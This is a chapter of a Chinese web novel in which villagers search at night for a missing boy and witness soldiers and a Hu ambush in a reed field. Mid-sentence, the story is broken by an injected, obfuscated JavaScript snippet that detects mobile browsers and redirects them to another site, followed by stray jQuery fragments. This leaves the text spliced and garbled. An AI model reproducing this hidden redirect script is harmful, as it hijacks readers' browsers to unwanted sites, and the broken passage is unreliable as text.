86. 公主,相逢。
作品:《愿将腰下剑》 还是第一次有人对大元说这样的话,他低头腼腆一笑,胡乱搓了两下手,往屋子里跑去。小元跟在他身后,一大一小,像两只兔子窜到板凳上,你推我挤,笑着挤作一团。
赵观庭看着他们的模样,忍不住想起季凛。小时候他就像个鼻涕虫一样,总是黏在季凛后面,季凛也不觉烦扰,去哪都带着他。
季凛长得比他高,武功也比他强,他对赵观庭来说,如兄也如父。这些日子没见到他,心里倒是有点想念了。
正想着,赵观庭看见篱笆外远远走来一人。他不进院子,只走到篱笆口:“季兄弟他们今晚不回来了。”
赵观庭点头,对他扬了扬手:“多谢。”
那人交代完,就往回走,赵观庭进屋将这消息告诉众人。
大小元听了,不知怎的,拿起筷子开始绕着木桌跑。他们一边跑,口中一边念念有词,双手像模像样摆出几个招式,赵观庭知道他们是在学季凛练剑的样子。
来到青山县以后,赵乾让季凛带着左凌、武德等人去村子里练兵。村子里的人热情,见他们既带来了粮食,又无恶意,便把自家的孩子送到队伍里学些拳脚功夫,以能自保。
日子一久,村民见季凛等人来回不便,便偶尔让他们留宿。
张大娘将一碗热汤端上桌,见兄弟二人的样子,轻斥道:“跑来跑去的,当心把桌子撞翻!”
赵乾叫两小子坐下,不知说了什么,他们立即安静下来。
赵观庭跑去灶台端窝头,萧映雪与他擦肩,停下,小声问道:“武德回来了吗?”
赵观庭摇头,萧映雪做了个了然的神情,端着手中的咸菜往外走去。
赵观庭看出她眼底的担忧,尽管她口中问的是武德,但赵观庭知道,萧映雪问的,其实是一直跟在她身旁的知意。
芜州时,知意便与武德相处甚好,武德人高马大,性子憨傻,总喜欢跟在知意身边。这些日子,武德被叫去练兵,知意见人人都会些武术,只有她不会,就随着武德同去。
赵观庭将窝头放在桌上,想安慰萧映雪。他了解武德为人,有他在身边,知意一定不会有事。
正欲开口,张大娘在灶台边突然哀嚎了一声。微月拿着碗筷,走到她身边,问发生什么了。
张大娘指着空空如也的柜子,语气里有些无措:“没了,剩下的窝头全没了……”
微月走近一看,见那四方往里延伸的柜角被啃咬出一个大洞,她嘴巴微张,从没见过有什么东西的牙齿这样厉害。
如今这世道本就很难吃饱了,微月知晓这些窝头对张大娘的重要性,她抚上她的肩膀,将她轻轻推到桌前,安慰道:“大娘别担心,我们这边还有些粮食。”
赵观庭也道:“有我们在,定不会让你们饿肚子。不过,燕州城竟然还有这么大的老鼠,看来得将这粮食换个地方储存了。”
张大娘有些失魂落魄,她呆坐了一会儿,不知想到什么,突然愤愤道:“打仗就打仗,这些当兵的,凭什么把我的田给烧了!好不容易种来的粮食,和这窝头一样,转眼就没了!”
赵乾一听,有些好奇,问她:“什么时候烧的?”
张大娘道:“就你们来之前,刚开始打仗那会儿。不止我家的,还有村里好几户人家。我们自个儿在山脚那儿种的菜呀,米呀什么的,他们一把火全烧了。”
赵乾明白过来:“他们烧粮食,应该是为了防胡人。”
青山县位置偏远,以县城为起点,往外再走个几十里不到,便是远郊。
因为无常驻守兵,又多荒山野岭,胡兵有概率会在此处现身。为了避免村民在野地中种的粮食被胡人抢去,军队便执行坚壁清野的策略。虽是为了防御,却苦了附近的村民。
赵乾又劝了几句,张大娘虽心有不甘,但也别无其法,只好将这口气咽下去。
这顿饭吃得安静,往日闹腾的大小元兄弟一反常态,亦或说是大元太过安静,小元见哥哥不陪他玩,便也不说话,乖乖吃饭。
微月觉得有些奇怪,但并未多想,等太阳彻底落了山,到了入睡的时辰,她简单梳洗一番后,正准备关上里屋的门,门缝外突然闪过一道人影。
她停下,拉开门,问道:“怎么还不睡?”
这身影矮矮小小的,正是大元。他披着外衣,准备去拿门闩:“阿姐,我要去茅房。”
微月点点头:“穿好衣服,别着凉了。”
对方朝她嗯了一声,声音脆亮,微月放下心来,关上里屋的门。
萧映雪掀开被子一角,招呼微月上床,她的声音在夜里听起来像冰雪消融后的溪水:“不知道的,还以为你是他们的亲姐姐。”
微月挨着她躺下,故意将声音压低,凑到萧映雪耳边:“这话,你可千万别让我那亲弟弟听到了。”
两人在黑暗中相视一笑,沉沉睡去。
后半夜,微月在睡梦中恍惚听到一些动静,她努力睁开眼,但眼皮子太沉,没有醒来。
不知何时,一阵敲门声突然响起,猛地将二人从睡意中拽出,微月披上外衣,打开门,张大娘站在门口,两只手紧紧地绞在一起。
“出什么事了?”微月问。
“大元……大元不见了!”
这动静将隔壁屋的赵乾与赵观庭一并吵醒,他们胡乱穿了件衣服,睡眼惺忪,得知是大元出事,随即清醒过来。
赵乾问:“什么时候不见的?”
张大娘道:“睡前去了趟茅厕,之后就回来睡觉了,我看着他睡的。结果半夜,我迷迷糊糊醒来,往床边一摸,却什么也摸不到。”
张大娘本以为他又去了茅厕,但等了很久,都不见他回来,后面去院子里一找才发现,茅厕里空无一人。”
这时候小元揉着眼睛,走到张大娘身旁。赵观庭蹲下问他:“小元,你知道哥哥去哪了吗?”
小元还未睡醒,他努力辨明了赵观庭话里的意思,摇了摇头。
事不宜迟,赵乾当即决定兵分两路,他与萧映雪去村子里找人,赵观庭与微月往郊外寻人,张大娘则留在家中照顾小元,若大元只是单纯贪玩,后边自己回来了,家中也能有人照应。
越往外走,越是荒凉,赵观庭举着火把与微月沿着远郊一路走,他仔细往地上看了又看,没发现什么脚印,稍稍放下心来,猜测:“这小子,不会半夜跑去找季凛了吧?”
微月想起往日大元确实喜欢围着季凛转,想让他教些功夫,觉得赵观庭说的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360187|186300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
确实有点道理,便道:“也是,说不定这会儿四叔已经找到他了。”
二人这么说着,脚上的动作却没有慢下来,直到周围稀疏的树林消失,几座荒山出现在眼前,一条不知通往何处的野道现身,道路两旁铺满了接近两人高的荻草,夜里看去,乍如一群绵延的小山,黑压压地盖在土地上。
寻到此处,除非大元是被山上的绑匪给绑去了,否则,他们不太可能在这里看到他的踪迹。
可不知为何,微月心中却有种奇怪的预感,她朝四周看了一圈,对赵观庭道:“我们去草丛里看看。”
赵观庭有些不放心,将腰间的佩剑递给微月:“这荻草又高又深,有些危险,别往深了走。”
微月点头,两人一左一右走进荻草丛中。
微月只在两步的范围内沿着这野道的一侧查看,并不往里去。走了几步,她突然听到远处传来一点动静,但方位有些模糊,她屏息仔细听,辨出一点流水声和马蹄声。
这处郊野,骑马而来的不是山贼就是官兵,微月暗道不好,听着那声音迅速由远及近。
好在荻草茂盛,她弯腰一缩,将身子藏进草丛,对面,赵观庭想必也听到了这声音,方才还有鞋底摩挲荻草声,现在也突然消失了。
微月将身子压低,耳边隐约传来说话声。
“大人,再往前走就是青山县了。”
楚稷抬手,示意身后队伍停下,他朝路两旁的青纱帐瞥了两眼,目光锐利,躲在草丛中的微月不由感到身上冒出一股寒意。
片刻后,他将视线放到远处,双目狭长,微眯着盯向黑暗中的某处,像是在寻找逃跑的猎物。
微月没想到楚稷会出现在这里,她藏得深,能听出方才说话的人是越心,但看不见道上的面孔和身影。从他们来时的动静可以看出,楚稷并不仅仅带了越心一人,恐怕还有承朝的军队。
可他带着这些人来此处是为了什么?按理说,胡人已经退兵,边疆已经安宁。微月突然想起白日吴桂平说的话来,这其中必定有些蹊跷。
就在这时,远处靠近河流的方向传来一道轻微的叫声,这叫声奇怪,不粗不细,不男不女,像是幼童,又像是老妇。
空气便突然安静下来,微月觉察到楚稷一行人立即进入了警备的状态,她不敢出声,连呼吸都控制得匀称。
虽然极轻,她还是听到楚稷翻身下马,似乎做了什么动作,接着往那声音的方向走去,他步伐极轻,几乎没有一点声音,同时动作极快,像一只墨黑的剪尾燕,飞速往前掠去。
微月的心跳得厉害,她似有所感,觉得那叫声的主人很有可能是大元。
她凝神听着楚稷的动静,三两步后,他的脚步突然停下,仿佛被定牢在原地。与此同时,一阵妖风吹过,荻花荡的深处泛起层层涟漪,这涟漪中又带着某种杀意,在细微不可察之处悄然蔓延。
微月察觉到楚稷的脚步调转了方向,紧接着,微暗的半空划出一道咻音,静谧的空气被刺开一道口子,随后是一声闷响。
微月分不清前方是什么情况,却突然见道上的队伍像热锅里炸开的油,一下朝楚稷的方向涌去。
混乱中,她听见越心的声音:“不好,是胡人!”

